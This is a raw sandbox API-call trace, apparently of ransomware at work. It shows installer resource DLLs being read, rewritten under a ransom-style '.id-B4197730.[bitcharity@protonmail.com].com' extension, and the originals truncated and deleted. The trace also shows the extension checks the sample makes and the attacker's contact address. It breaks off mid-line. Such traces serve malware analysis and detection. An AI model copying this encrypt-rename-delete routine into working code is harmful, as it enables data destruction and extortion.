[0131.424] lstrlenW (lpString=".doc") returned 4 [0131.424] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString=".docx") returned 5 [0131.424] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.424] lstrlenW (lpString=".pdf") returned 4 [0131.424] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString=".xls") returned 4 [0131.424] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString=".xlsx") returned 5 [0131.424] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.424] lstrlenW (lpString=".ppt") returned 4 [0131.424] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.424] lstrlenW (lpString=".zip") returned 4 [0131.424] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString=".rar") returned 4 [0131.424] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.424] lstrlenW (lpString=".bz2") returned 4 [0131.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.424] lstrlenW (lpString=".7z") returned 3 [0131.424] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.424] lstrlenW (lpString=".dbf") returned 4 [0131.424] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.424] lstrlenW (lpString=".1cd") returned 4 [0131.424] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0131.425] lstrlenW (lpString=".jpg") returned 4 [0131.425] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.425] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.425] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.425] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=19288) returned 1 [0131.425] CloseHandle (hObject=0x1098) returned 1 [0131.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0131.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.426] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.426] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0131.452] GetLastError () returned 0x0 [0131.452] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0131.500] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0131.516] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.516] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.516] SetEndOfFile (hFile=0x10a8) returned 1 [0131.517] CloseHandle (hObject=0x10a8) returned 1 [0131.518] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.518] SetEndOfFile (hFile=0x1098) returned 1 [0131.519] CloseHandle (hObject=0x1098) returned 1 [0131.519] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.519] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0131.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.520] lstrlenW (lpString=".doc") returned 4 [0131.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString=".docx") returned 5 [0131.520] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.520] lstrlenW (lpString=".pdf") returned 4 [0131.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString=".xls") returned 4 [0131.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString=".xlsx") returned 5 [0131.520] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.520] lstrlenW (lpString=".ppt") returned 4 [0131.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.520] lstrlenW (lpString=".zip") returned 4 [0131.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString=".rar") returned 4 [0131.520] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.520] lstrlenW (lpString=".bz2") returned 4 [0131.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.520] lstrlenW (lpString=".7z") returned 3 [0131.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.520] lstrlenW (lpString=".dbf") returned 4 [0131.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.520] lstrlenW (lpString=".1cd") returned 4 [0131.521] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.521] lstrlenW (lpString=".jpg") returned 4 [0131.521] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.521] lstrlenW (lpString=".doc") returned 4 [0131.521] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString=".docx") returned 5 [0131.521] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.521] lstrlenW (lpString=".pdf") returned 4 [0131.521] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString=".xls") returned 4 [0131.521] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString=".xlsx") returned 5 [0131.521] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.521] lstrlenW (lpString=".ppt") returned 4 [0131.521] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.521] lstrlenW (lpString=".zip") returned 4 [0131.521] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString=".rar") returned 4 [0131.521] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.521] lstrlenW (lpString=".bz2") returned 4 [0131.521] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.521] lstrlenW (lpString=".7z") returned 3 [0131.521] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.521] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.521] lstrlenW (lpString=".dbf") returned 4 [0131.521] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.522] lstrlenW (lpString=".1cd") returned 4 [0131.522] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.522] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0131.522] lstrlenW (lpString=".jpg") returned 4 [0131.522] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.522] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.522] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.522] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.522] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=18776) returned 1 [0131.522] CloseHandle (hObject=0x1098) returned 1 [0131.522] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0131.523] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.523] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.523] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.523] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0131.525] GetLastError () returned 0x0 [0131.525] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0131.651] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0131.652] ReadFile (in: hFile=0x1098, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.652] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.652] SetEndOfFile (hFile=0x10a8) returned 1 [0131.652] CloseHandle (hObject=0x10a8) returned 1 [0131.653] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.653] SetEndOfFile (hFile=0x1098) returned 1 [0131.654] CloseHandle (hObject=0x1098) returned 1 [0131.654] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.655] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0131.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.655] lstrlenW (lpString=".doc") returned 4 [0131.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.655] lstrlenW (lpString=".docx") returned 5 [0131.655] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.655] lstrlenW (lpString=".pdf") returned 4 [0131.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString=".xls") returned 4 [0131.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString=".xlsx") returned 5 [0131.656] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.656] lstrlenW (lpString=".ppt") returned 4 [0131.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString=".zip") returned 4 [0131.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString=".rar") returned 4 [0131.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString=".bz2") returned 4 [0131.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.656] lstrlenW (lpString=".7z") returned 3 [0131.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString=".dbf") returned 4 [0131.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString=".1cd") returned 4 [0131.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString=".jpg") returned 4 [0131.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.656] lstrlenW (lpString=".doc") returned 4 [0131.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString=".docx") returned 5 [0131.657] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.657] lstrlenW (lpString=".pdf") returned 4 [0131.657] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString=".xls") returned 4 [0131.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString=".xlsx") returned 5 [0131.657] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.657] lstrlenW (lpString=".ppt") returned 4 [0131.657] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.657] lstrlenW (lpString=".zip") returned 4 [0131.657] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString=".rar") returned 4 [0131.657] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.657] lstrlenW (lpString=".bz2") returned 4 [0131.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.657] lstrlenW (lpString=".7z") returned 3 [0131.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.657] lstrlenW (lpString=".dbf") returned 4 [0131.657] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.657] lstrlenW (lpString=".1cd") returned 4 [0131.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0131.657] lstrlenW (lpString=".jpg") returned 4 [0131.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.658] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.658] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.658] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0131.659] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=18776) returned 1 [0131.659] CloseHandle (hObject=0x10a8) returned 1 [0131.660] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0131.660] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0131.660] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.660] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0131.723] GetLastError () returned 0x0 [0131.723] ReadFile (in: hFile=0x10a8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4958, lpOverlapped=0x0) returned 1 [0131.791] WriteFile (in: hFile=0x10ac, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4960, lpOverlapped=0x0) returned 1 [0131.792] ReadFile (in: hFile=0x10a8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.792] WriteFile (in: hFile=0x10ac, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.792] SetEndOfFile (hFile=0x10ac) returned 1 [0131.792] CloseHandle (hObject=0x10ac) returned 1 [0131.797] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.797] SetEndOfFile (hFile=0x10a8) returned 1 [0131.798] CloseHandle (hObject=0x10a8) returned 1 [0131.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0131.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.799] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.799] lstrlenW (lpString=".doc") returned 4 [0131.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.799] lstrlenW (lpString=".docx") returned 5 [0131.799] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.799] lstrlenW (lpString=".pdf") returned 4 [0131.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.799] lstrlenW (lpString=".xls") returned 4 [0131.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.799] lstrlenW (lpString=".xlsx") returned 5 [0131.799] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.799] lstrlenW (lpString=".ppt") returned 4 [0131.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString=".zip") returned 4 [0131.800] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString=".rar") returned 4 [0131.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString=".bz2") returned 4 [0131.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.800] lstrlenW (lpString=".7z") returned 3 [0131.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString=".dbf") returned 4 [0131.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString=".1cd") returned 4 [0131.800] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString=".jpg") returned 4 [0131.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.800] lstrlenW (lpString=".doc") returned 4 [0131.800] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString=".docx") returned 5 [0131.800] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.800] lstrlenW (lpString=".pdf") returned 4 [0131.800] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString=".xls") returned 4 [0131.800] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.800] lstrlenW (lpString=".xlsx") returned 5 [0131.801] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.801] lstrlenW (lpString=".ppt") returned 4 [0131.801] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.801] lstrlenW (lpString=".zip") returned 4 [0131.801] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.801] lstrlenW (lpString=".rar") returned 4 [0131.801] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.801] lstrlenW (lpString=".bz2") returned 4 [0131.801] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.801] lstrlenW (lpString=".7z") returned 3 [0131.801] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.801] lstrlenW (lpString=".dbf") returned 4 [0131.801] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.801] lstrlenW (lpString=".1cd") returned 4 [0131.801] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0131.801] lstrlenW (lpString=".jpg") returned 4 [0131.801] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.801] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.801] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0133.370] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=18264) returned 1 [0133.370] CloseHandle (hObject=0x10c0) returned 1 [0133.370] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: 